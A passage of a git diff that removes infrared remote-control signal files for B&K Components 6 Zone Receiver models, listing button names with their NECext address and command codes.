-address: F2 D0 00 00 -command: 20 00 00 00 -# -name: -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 20 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 23 00 00 00 -# -name: VOL_DN -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 23 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 24 00 00 00 -# -name: VOL_UP -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 24 00 00 00 -# -name: -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 24 00 00 00 -# -name: +10 -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 29 00 00 00 -# -name: CUR_DOWN -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 2D 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 2D 00 00 00 -# -name: -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 2D 00 00 00 -# -name: CUR_UP -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 2E 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 2E 00 00 00 -# -name: -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 2E 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 2F 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 30 00 00 00 -# -name: SEL/ENTER -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 30 00 00 00 -# -name: -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 30 00 00 00 -# -name: SELECT_ENTER -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 30 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 31 00 00 00 -# -name: -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 31 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 32 00 00 00 -# -name: -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 32 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 33 00 00 00 -# -name: -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 33 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 35 00 00 00 -# -name: -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 35 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 36 00 00 00 -# -name: -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 36 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 37 00 00 00 -# -name: -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 37 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 39 00 00 00 -# -name: -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 39 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 3A 00 00 00 -# -name: -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 3A 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 3B 00 00 00 -# -name: -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 3B 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 3E 00 00 00 -# -name: -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 3E 00 00 00 -# -name: ZONE -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 3F 00 00 00 -# -name: -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 3F 00 00 00 -# -name: SAVE -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 40 00 00 00 -# -name: -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 40 00 00 00 -# -name: IN_6 -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 4A 00 00 00 -# -name: -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 4A 00 00 00 -# -name: PRESET_+ -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 4B 00 00 00 -# -name: PSET_UP -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 4B 00 00 00 -# -name: -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 4B 00 00 00 -# -name: D_IN -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 5A 00 00 00 -# -name: -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 5A 00 00 00 -# -name: BASS_- -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 65 00 00 00 -# -name: BASS_DN -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 65 00 00 00 -# -name: -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 65 00 00 00 -# -name: SOURCE_+ -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 66 00 00 00 -# -name: SOURCE_UP -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 66 00 00 00 -# -name: -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 66 00 00 00 -# -name: IN_9 -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 6E 00 00 00 -# -name: AM -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 76 00 00 00 -# -name: TREBLE_- -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 79 00 00 00 -# -name: TREB_DN -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 79 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 7D 00 00 00 -# -name: -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 7D 00 00 00 -# -name: FM -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 8E 00 00 00 -# -name: POWER_ON/OFF -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: A2 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: A2 00 00 00 -# -name: -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: A2 00 00 00 -# -name: SOURCE_- -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: A6 00 00 00 -# -name: SOURCE_DN -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: A6 00 00 00 -# -name: PRESET_- -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: C6 00 00 00 -# -name: PSET_DN -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: C6 00 00 00 -# -name: -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: C6 00 00 00 -# -name: LOUDNESS -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: CF 00 00 00 -# -name: LOUD -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: CF 00 00 00 -# -name: -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: CF 00 00 00 -# -name: BASS_+ -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: E5 00 00 00 -# -name: BASS_UP -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: E5 00 00 00 -# -name: M -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: EB 00 00 00 -# -name: M_[STM] -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: EB 00 00 00 -# -name: TREBLE_+ -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: F9 00 00 00 -# -name: TREB_UP -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: F9 00 00 00 -# -name: -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: F9 00 00 00 -# -name: V+ -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: FA 00 00 00 -# -name: VIDEO_+ -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: FA 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/6 Zone Receiver/243,192.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/6 Zone Receiver/243,192.ir deleted file mode 100644 index 032a5ad9d..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/6 Zone Receiver/243,192.ir +++ /dev/null @@ -1,458 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: OFF -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 01 00 00 00 -# -name: -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 01 00 00 00 -# -name: ON -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 02 00 00 00 -# -name: -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 02 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 03 00 00 00 -# -name: IN_1 -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 05 00 00 00 -# -name: -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 05 00 00 00 -# -name: IN_3 -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 06 00 00 00 -# -name: IN_8 -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 07 00 00 00 -# -name: IN_2 -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 09 00 00 00 -# -name: -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 09 00 00 00 -# -name: IN_7 -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 0B 00 00 00 -# -name: IN_4 -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 0D 00 00 00 -# -name: -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 0D 00 00 00 -# -name: IN_5 -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 0F 00 00 00 -# -name: -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 0F 00 00 00 -# -name: STA_DN -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 17 00 00 00 -# -name: STA_UP -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 18 00 00 00 -# -name: TUNE_DN -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 1B 00 00 00 -# -name: TUNE_UP -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 1C 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 1F 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 20 00 00 00 -# -name: -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 20 00 00 00 -# -name: VOL_DN -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 23 00 00 00 -# -name: -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 23 00 00 00 -# -name: VOL_UP -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 24 00 00 00 -# -name: -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 24 00 00 00 -# -name: +10 -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 29 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 2D 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 2E 00 00 00 -# -name: -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 2E 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 2F 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 30 00 00 00 -# -name: -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 30 00 00 00 -# -name: SELECT_ENTER -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 30 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 31 00 00 00 -# -name: -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 31 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 32 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 33 00 00 00 -# -name: -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 33 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 35 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 36 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 37 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 39 00 00 00 -# -name: -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 39 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 3A 00 00 00 -# -name: -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 3A 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 3B 00 00 00 -# -name: -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 3B 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 3E 00 00 00 -# -name: -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 3E 00 00 00 -# -name: ZONE -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 3F 00 00 00 -# -name: SAVE -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 40 00 00 00 -# -name: IN_6 -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 4A 00 00 00 -# -name: PSET_UP -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 4B 00 00 00 -# -name: D_IN -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 5A 00 00 00 -# -name: -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 5A 00 00 00 -# -name: BASS_DN -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 65 00 00 00 -# -name: SOURCE_UP -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 66 00 00 00 -# -name: IN_9 -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 6E 00 00 00 -# -name: AM -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 76 00 00 00 -# -name: TREB_DN -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 79 00 00 00 -# -name: -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 79 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 7D 00 00 00 -# -name: FM -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: 8E 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: A2 00 00 00 -# -name: SOURCE_DN -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: A6 00 00 00 -# -name: PSET_DN -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: C6 00 00 00 -# -name: LOUD -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: CF 00 00 00 -# -name: -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: CF 00 00 00 -# -name: BASS_UP -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: E5 00 00 00 -# -name: -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: E5 00 00 00 -# -name: M_[STM] -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: EB 00 00 00 -# -name: TREB_UP -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: F9 00 00 00 -# -name: -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: F9 00 00 00 -# -name: VIDEO_+ -type: parsed -protocol: NECext -address: F3 C0 00 00 -command: FA 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/6 Zone Receiver/251,64.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/6 Zone Receiver/251,64.ir deleted file mode 100644 index 8af08317e..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/6 Zone Receiver/251,64.ir +++ /dev/null @@ -1,326 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: OFF -type: parsed -protocol: NECext -address: FB 40 00 00 -command: 01 00 00 00 -# -name: ON -type: parsed -protocol: NECext -address: FB 40 00 00 -command: 02 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: FB 40 00 00 -command: 03 00 00 00 -# -name: IN_1 -type: parsed -protocol: NECext -address: FB 40 00 00 -command: 05 00 00 00 -# -name: IN_3 -type: parsed -protocol: NECext -address: FB 40 00 00 -command: 06 00 00 00 -# -name: IN_8 -type: parsed -protocol: NECext -address: FB 40 00 00 -command: 07 00 00 00 -# -name: IN_2 -type: parsed -protocol: NECext -address: FB 40 00 00 -command: 09 00 00 00 -# -name: IN_7 -type: parsed -protocol: NECext -address: FB 40 00 00 -command: 0B 00 00 00 -# -name: IN_4 -type: parsed -protocol: NECext -address: FB 40 00 00 -command: 0D 00 00 00 -# -name: IN_5 -type: parsed -protocol: NECext -address: FB 40 00 00 -command: 0F 00 00 00 -# -name: STA_DN -type: parsed -protocol: NECext -address: FB 40 00 00 -command: 17 00 00 00 -# -name: STA_UP -type: parsed -protocol: NECext -address: FB 40 00 00 -command: 18 00 00 00 -# -name: TUNE_DN -type: parsed -protocol: NECext -address: FB 40 00 00 -command: 1B 00 00 00 -# -name: TUNE_UP -type: parsed -protocol: NECext -address: FB 40 00 00 -command: 1C 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: FB 40 00 00 -command: 1F 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: FB 40 00 00 -command: 20 00 00 00 -# -name: VOL_DN -type: parsed -protocol: NECext -address: FB 40 00 00 -command: 23 00 00 00 -# -name: VOL_UP -type: parsed -protocol: NECext -address: FB 40 00 00 -command: 24 00 00 00 -# -name: +10 -type: parsed -protocol: NECext -address: FB 40 00 00 -command: 29 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: FB 40 00 00 -command: 2D 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: FB 40 00 00 -command: 2E 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: FB 40 00 00 -command: 2F 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: FB 40 00 00 -command: 30 00 00 00 -# -name: SELECT_ENTER -type: parsed -protocol: NECext -address: FB 40 00 00 -command: 30 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: FB 40 00 00 -command: 31 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: FB 40 00 00 -command: 32 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: FB 40 00 00 -command: 33 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: FB 40 00 00 -command: 35 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: FB 40 00 00 -command: 36 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: FB 40 00 00 -command: 37 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: FB 40 00 00 -command: 39 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: FB 40 00 00 -command: 3A 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: FB 40 00 00 -command: 3B 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: FB 40 00 00 -command: 3E 00 00 00 -# -name: ZONE -type: parsed -protocol: NECext -address: FB 40 00 00 -command: 3F 00 00 00 -# -name: SAVE -type: parsed -protocol: NECext -address: FB 40 00 00 -command: 40 00 00 00 -# -name: IN_6 -type: parsed -protocol: NECext -address: FB 40 00 00 -command: 4A 00 00 00 -# -name: PSET_UP -type: parsed -protocol: NECext -address: FB 40 00 00 -command: 4B 00 00 00 -# -name: D_IN -type: parsed -protocol: NECext -address: FB 40 00 00 -command: 5A 00 00 00 -# -name: BASS_DN -type: parsed -protocol: NECext -address: FB 40 00 00 -command: 65 00 00 00 -# -name: SOURCE_UP -type: parsed -protocol: NECext -address: FB 40 00 00 -command: 66 00 00 00 -# -name: IN_9 -type: parsed -protocol: NECext -address: FB 40 00 00 -command: 6E 00 00 00 -# -name: AM -type: parsed -protocol: NECext -address: FB 40 00 00 -command: 76 00 00 00 -# -name: TREB_DN -type: parsed -protocol: NECext -address: FB 40 00 00 -command: 79 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: FB 40 00 00 -command: 7D 00 00 00 -# -name: FM -type: parsed -protocol: NECext -address: FB 40 00 00 -command: 8E 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: FB 40 00 00 -command: A2 00 00 00 -# -name: SOURCE_DN -type: parsed -protocol: NECext -address: FB 40 00 00 -command: A6 00 00 00 -# -name: PSET_DN -type: parsed -protocol: NECext -address: FB 40 00 00 -command: C6 00 00 00 -# -name: LOUD -type: parsed -protocol: NECext -address: FB 40 00 00 -command: CF 00 00 00 -# -name: BASS_UP -type: parsed -protocol: NECext -address: FB 40 00 00 -command: E5 00 00 00 -# -name: M_[STM] -type: parsed -protocol: NECext -address: FB 40 00 00 -command: EB 00 00 00 -# -name: TREB_UP -type: parsed -protocol: NECext -address: FB 40 00 00 -command: F9 00 00 00 -# -name: VIDEO_+ -type: parsed -protocol: NECext -address: FB 40 00 00 -command: FA 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/6 Zone Receiver/27,78.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/6 Zone Receiver/27,78.ir deleted file mode 100644 index b813b71a0..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/6 Zone Receiver/27,78.ir +++ /dev/null @@ -1,386 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: OFF -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 01 00 00 00 -# -name: ON -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 02 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 03 00 00 00 -# -name: IN_1 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 05 00 00 00 -# -name: IN_3 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 06 00 00 00 -# -name: IN_8 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 07 00 00 00 -# -name: IN_2 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 09 00 00 00 -# -name: IN_7 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 0B 00 00 00 -# -name: IN_4 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 0D 00 00 00 -# -name: IN_5 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 0F 00 00 00 -# -name: STA_- -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 17 00 00 00 -# -name: STA_+ -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 18 00 00 00 -# -name: TUN_- -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 1B 00 00 00 -# -name: TUN_+ -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 1C 00 00 00 -# -name: CUR_LEFT -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 1F 00 00 00 -# -name: CUR_RIGHT -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 20 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 23 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 24 00 00 00 -# -name: ALL_OFF -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 28 00 00 00 -# -name: +10 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 29 00 00 00 -# -name: CUR_DOWN -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 2D 00 00 00 -# -name: CUR_UP -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 2E 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 2F 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 30 00 00 00 -# -name: SEL/ENTER -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 30 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 31 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 32 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 33 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 35 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 36 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 37 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 39 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 3A 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 3B 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 3E 00 00 00 -# -name: ZONE -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 3F 00 00 00 -# -name: SAVE -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 40 00 00 00 -# -name: IN_6 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 4A 00 00 00 -# -name: PRESET_+ -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 4B 00 00 00 -# -name: ALL_VOL_-20 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 58 00 00 00 -# -name: D-IN -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 5A 00 00 00 -# -name: BASS_- -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 65 00 00 00 -# -name: SOURCE_+ -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 66 00 00 00 -# -name: ALL_VOL_- -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 68 00 00 00 -# -name: IN_9 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 6E 00 00 00 -# -name: AM -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 76 00 00 00 -# -name: ALL_VOL_MUTE_TOGGLE -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 78 00 00 00 -# -name: TREBLE_- -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 79 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 7D 00 00 00 -# -name: FM -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 8E 00 00 00 -# -name: ALL_VOL_0 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 98 00 00 00 -# -name: POWER_ON/OFF -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: A2 00 00 00 -# -name: SOURCE_- -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: A6 00 00 00 -# -name: ALL_ON -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: A8 00 00 00 -# -name: ALL_VOL_-60 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: B8 00 00 00 -# -name: AALL_VOL_-60 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: B8 00 00 00 -# -name: PRESET_- -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: C6 00 00 00 -# -name: LOUDNESS -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: CF 00 00 00 -# -name: ALL_VOL_-40 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: D8 00 00 00 -# -name: BASS_+ -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: E5 00 00 00 -# -name: ALL_VOL_+ -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: E8 00 00 00 -# -name: M -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: EB 00 00 00 -# -name: TREBLE_+ -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: F9 00 00 00 -# -name: V+ -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: FA 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/6 Zone Receiver/43,77.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/6 Zone Receiver/43,77.ir deleted file mode 100644 index 06d136b8c..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/6 Zone Receiver/43,77.ir +++ /dev/null @@ -1,326 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: OFF -type: parsed -protocol: NECext -address: 2B 4D 00 00 -command: 01 00 00 00 -# -name: ON -type: parsed -protocol: NECext -address: 2B 4D 00 00 -command: 02 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 2B 4D 00 00 -command: 03 00 00 00 -# -name: IN_1 -type: parsed -protocol: NECext -address: 2B 4D 00 00 -command: 05 00 00 00 -# -name: IN_3 -type: parsed -protocol: NECext -address: 2B 4D 00 00 -command: 06 00 00 00 -# -name: IN_8 -type: parsed -protocol: NECext -address: 2B 4D 00 00 -command: 07 00 00 00 -# -name: IN_2 -type: parsed -protocol: NECext -address: 2B 4D 00 00 -command: 09 00 00 00 -# -name: IN_7 -type: parsed -protocol: NECext -address: 2B 4D 00 00 -command: 0B 00 00 00 -# -name: IN_4 -type: parsed -protocol: NECext -address: 2B 4D 00 00 -command: 0D 00 00 00 -# -name: IN_5 -type: parsed -protocol: NECext -address: 2B 4D 00 00 -command: 0F 00 00 00 -# -name: STA_- -type: parsed -protocol: NECext -address: 2B 4D 00 00 -command: 17 00 00 00 -# -name: STA_+ -type: parsed -protocol: NECext -address: 2B 4D 00 00 -command: 18 00 00 00 